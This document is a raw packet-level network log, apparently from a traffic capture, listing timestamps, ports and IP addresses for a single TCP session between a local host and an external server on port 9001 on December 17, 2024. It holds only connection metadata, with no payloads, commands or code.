Dec 17, 2024 11:49:51.296586037 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.296641111 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.296669960 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.296907902 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.297375917 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.297454119 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.297455072 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.297537088 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.298149109 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.298243999 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.298252106 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.298459053 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.298939943 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.299031973 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.299089909 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.299185991 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.299871922 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.299935102 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.299942017 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.300095081 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.300559998 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.300607920 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.300645113 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.300746918 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.301309109 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.301399946 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.301479101 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.302109957 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.302197933 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.302751064 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.302923918 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.363558054 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.363642931 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.363698006 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.363954067 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.364053965 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.364109993 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.364764929 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.364814043 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.364898920 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.365462065 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.365545034 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.365667105 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.365787029 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.366328001 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.366453886 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.366532087 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.367094040 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.367152929 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.367211103 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.367913961 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.367994070 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.368004084 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.368650913 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.368755102 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.368910074 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.368932009 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.369859934 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.369914055 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.369935989 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.370327950 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.370371103 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.370399952 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.371030092 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.371138096 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.371154070 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.371799946 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.371856928 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.372122049 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.372603893 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.372658968 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.372704983 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.373413086 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.373626947 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.373627901 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.374303102 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.374387026 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.374422073 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.374995947 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.375077009 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.375132084 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.375737906 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.375855923 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.375868082 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.376574039 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.376638889 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.376780033 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.377360106 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.377423048 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.377487898 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.378227949 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.378276110 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.378339052 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.378894091 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.379019022 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.379067898 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.379705906 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.379828930 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.379925013 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.380479097 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.380491972 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.381162882 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.381272078 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.381381989 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.381475925 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.382041931 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.382148027 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.382167101 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.382836103 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.382999897 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.383014917 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.383639097 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.383687019 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.383697033 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.389470100 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.389499903 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.389569044 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.389569044 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.391505003 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.392621994 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.407898903 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.472513914 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.472568989 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.472589970 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.472668886 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.472690105 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.472724915 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.472804070 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.473521948 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.473577023 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.473596096 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.473639965 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.474335909 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.474371910 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.474390030 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.474409103 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.475079060 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.475126028 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.475217104 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.475590944 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.475867987 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.475920916 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.475997925 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.475997925 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.476655960 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.476713896 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.476773977 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.477160931 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.477422953 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.477618933 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.477689981 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.478204966 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.478254080 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.478322029 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.478362083 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.478984118 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.479044914 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.479104996 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.479669094 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.479784012 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.479893923 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.479903936 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.480564117 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.480631113 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.480670929 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.480772972 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.481333017 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.481439114 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.481488943 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.482147932 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.482269049 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.482314110 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.482924938 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.483164072 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.483275890 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.483659029 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.483741045 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.483809948 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.483910084 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.484462976 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.484504938 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.484532118 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.484734058 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.485234022 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.485277891 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.485346079 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.485503912 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.486057997 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.486165047 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.486263990 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.486993074 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.487005949 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.487051010 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.487940073 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.487952948 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.488156080 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.488368988 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.488481045 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.488508940 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.488624096 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.489173889 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.489280939 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.489330053 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.490185022 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.490230083 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.490266085 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.490485907 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.490988970 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.491035938 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.491071939 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.491307974 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.491547108 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.491669893 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.491671085 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.491704941 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.492306948 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.492463112 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.492492914 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.509310007 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.509412050 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.509468079 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.509547949 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.509670019 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.509717941 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.509874105 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.509991884 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.510143995 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.510171890 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.511569023 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.512434006 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.555521965 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.555639982 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.555732012 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.555903912 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.555959940 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.556085110 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.556133032 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.556180000 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.556761026 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.556838036 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.556895018 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.556971073 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.557091951 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.557626009 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.557708025 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.557753086 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.557899952 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.558408022 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.558459997 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.558521986 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.558563948 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.559223890 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.559345961 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.559391022 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.559977055 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.560028076 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.560106039 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.560142040 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.560776949 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.560875893 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.560933113 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.561810017 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.561861992 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.561916113 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.562007904 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.562446117 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.562491894 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.562547922 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.563000917 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.563163996 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.563230038 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.563277960 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.563456059 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.563915968 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.564002037 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.564049006 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.564192057 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.564670086 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.564795971 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.564815998 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.564882040 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.565519094 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.565571070 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.565645933 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.565835953 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.566298962 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.566350937 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.566478968 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.566816092 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.567061901 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.567111969 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.567115068 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.567179918 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.567924976 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.567979097 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.567996979 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.568213940 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.568639994 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.568795919 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.568872929 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.569031000 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.569442987 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.569504976 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.569632053 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.569695950 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.570205927 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.570257902 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.570318937 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.570498943 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.570972919 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.571130037 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.571197033 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.572010040 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.572067022 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.572122097 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.572232008 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.572645903 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.572751999 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.572798014 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.573760986 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.574321032 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.574390888 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.574498892 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.574625969 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.574667931 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.574702978 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.575144053 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.575201988 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.575248003 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.575346947 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.575731039 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.576261997 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.598858118 CET	9001	49784	185.196.220.82	192.168.2.6
